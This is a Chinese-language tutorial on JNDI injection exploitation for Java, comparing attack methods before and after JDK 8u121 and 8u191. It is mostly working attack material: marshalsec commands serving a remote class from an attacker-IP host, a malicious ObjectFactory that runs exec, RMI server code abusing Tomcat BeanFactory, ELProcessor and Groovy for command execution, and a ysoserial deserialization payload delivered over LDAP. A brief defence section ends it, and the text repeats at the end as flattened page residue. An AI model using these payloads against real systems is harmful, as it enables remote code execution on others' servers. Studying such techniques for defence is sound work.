8u191后的JNDI注入利用
字数 1382 2025-08-05 08:19:35

JNDI注入利用技术详解(8u191前后版本对比)

一、JNDI注入版本关系概述

JNDI注入利用技术随着JDK版本的更新而不断演变,主要分为以下几个阶段:

  1. 8u121之前:直接使用RMI + JNDI Reference方式
  2. 8u191之前:使用LDAP + JNDI Reference方式
  3. 8u191之后:需要寻找新的绕过方式

二、8u121之前的利用方式

利用方法

使用RMI + JNDI Reference组合进行攻击:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://攻击者IP:8000/#Evail

版本限制

  • JDK 6u132之前
  • JDK 7u122之前
  • JDK 8u121之前(不包括8u121)

安全补丁

从以下版本开始默认禁用远程Codebase加载:

  • JDK 6u132
  • JDK 7u122
  • JDK 8u121

相关属性变为false:

  • com.sun.jndi.rmi.object.trustURLCodebase
  • com.sun.jndi.cosnaming.object.trustURLCodebase

三、8u191之前的利用方式

利用方法

使用LDAP + JNDI Reference组合进行攻击:

  1. 创建恶意类并编译:
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Evail implements ObjectFactory {
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime.getRuntime().exec("gnome-calculator");
        return null;
    }
}
  1. 编译并启动HTTP服务:
javac Evail.java
python -m http.server 8000
  1. 启动LDAP服务端(完整代码见原文)

  2. 客户端触发:

String uri = "ldap://攻击者IP:9999/Evail";
Context ctx = new InitialContext();
ctx.lookup(uri);

简化方法

使用marshalsec工具快速搭建LDAP服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://攻击者IP:8000/#Evail 9999

版本限制

此方法在8u191(包括8u191)版本失效

四、8u191之后的绕过技术

1. JNDI+RMI高版本绕过

利用Tomcat8中的类

依赖条件

  • 目标机器有Tomcat8及以上版本的jar包
  • 需要以下两个类:
    • org.apache.naming.factory.BeanFactory
    • javax.el.ELProcessor

服务端代码

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "a=eval"));
resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"gnome-calculator\")"));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(resourceRef);
registry.bind("exp", refObjWrapper);

客户端触发

String uri = "rmi://攻击者IP:1099/exp";
Context ctx = new InitialContext();
ctx.lookup(uri);

适用版本
测试通过版本:8u102、8u121、8u191、8u202等

依赖Groovy 2+版本

服务端代码

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = String.format("@groovy.transform.ASTTest(value={\n" +
                "    assert java.lang.Runtime.getRuntime().exec(\"%s\")\n" +
                "})\n" +
                "def x\n", "gnome-calculator");
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);

依赖任意Groovy版本

服务端代码

Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
String script = String.format("'%s'.execute()", "gnome-calculator");
ref.add(new StringRefAddr("x",script));
ReferenceWrapper refObjWrapper = new ReferenceWrapper(ref);
registry.bind("exp", refObjWrapper);

2. JNDI+LDAP高版本绕过

利用条件

  • 目标存在反序列化利用链所需的类库
  • 从JDK 6u211,7u201, 8u191, 11.0.1开始,com.sun.jndi.ldap.object.trustURLCodebase默认false

利用方法

  1. 生成反序列化payload:
java -jar ysoserial.jar CommonsCollections5 gnome-calculator > poc.txt
  1. 转换为Base64编码并放入服务端代码

  2. 服务端设置javaSerializedData属性:

e.addAttribute("javaSerializedData", Base64.decode("base64编码的payload"));
  1. 客户端触发:
String uri = "ldap://攻击者IP:6666/Evail";
Context ctx = new InitialContext();
ctx.lookup(uri);

五、总结与防御建议

技术总结

  1. 不同JDK版本有不同的JNDI注入利用方式
  2. 高版本需要依赖特定类库或利用反序列化链
  3. Tomcat环境、Groovy环境等可提供额外利用途径

防御建议

  1. 升级JDK到最新版本
  2. 限制JNDI查找的协议和地址
  3. 移除不必要的依赖库(如Groovy、Tomcat特定版本)
  4. 监控和过滤可疑的JNDI/RMI/LDAP请求

参考资源

  1. https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
  2. https://www.freebuf.com/vuls/253545.html
  3. https://blog.csdn.net/caiqiiqi/article/details/105951247
JNDI注入利用技术详解(8u191前后版本对比) 一、JNDI注入版本关系概述 JNDI注入利用技术随着JDK版本的更新而不断演变,主要分为以下几个阶段: 8u121之前 :直接使用RMI + JNDI Reference方式 8u191之前 :使用LDAP + JNDI Reference方式 8u191之后 :需要寻找新的绕过方式 二、8u121之前的利用方式 利用方法 使用RMI + JNDI Reference组合进行攻击: 版本限制 JDK 6u132之前 JDK 7u122之前 JDK 8u121之前(不包括8u121) 安全补丁 从以下版本开始默认禁用远程Codebase加载: JDK 6u132 JDK 7u122 JDK 8u121 相关属性变为false: com.sun.jndi.rmi.object.trustURLCodebase com.sun.jndi.cosnaming.object.trustURLCodebase 三、8u191之前的利用方式 利用方法 使用LDAP + JNDI Reference组合进行攻击: 创建恶意类并编译: 编译并启动HTTP服务: 启动LDAP服务端(完整代码见原文) 客户端触发: 简化方法 使用marshalsec工具快速搭建LDAP服务: 版本限制 此方法在8u191(包括8u191)版本失效 四、8u191之后的绕过技术 1. JNDI+RMI高版本绕过 利用Tomcat8中的类 依赖条件 : 目标机器有Tomcat8及以上版本的jar包 需要以下两个类: org.apache.naming.factory.BeanFactory javax.el.ELProcessor 服务端代码 : 客户端触发 : 适用版本 : 测试通过版本:8u102、8u121、8u191、8u202等 依赖Groovy 2+版本 服务端代码 : 依赖任意Groovy版本 服务端代码 : 2. JNDI+LDAP高版本绕过 利用条件 : 目标存在反序列化利用链所需的类库 从JDK 6u211,7u201, 8u191, 11.0.1开始, com.sun.jndi.ldap.object.trustURLCodebase 默认false 利用方法 : 生成反序列化payload: 转换为Base64编码并放入服务端代码 服务端设置 javaSerializedData 属性: 客户端触发: 五、总结与防御建议 技术总结 不同JDK版本有不同的JNDI注入利用方式 高版本需要依赖特定类库或利用反序列化链 Tomcat环境、Groovy环境等可提供额外利用途径 防御建议 升级JDK到最新版本 限制JNDI查找的协议和地址 移除不必要的依赖库(如Groovy、Tomcat特定版本) 监控和过滤可疑的JNDI/RMI/LDAP请求 参考资源 https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html https://www.freebuf.com/vuls/253545.html https://blog.csdn.net/caiqiiqi/article/details/105951247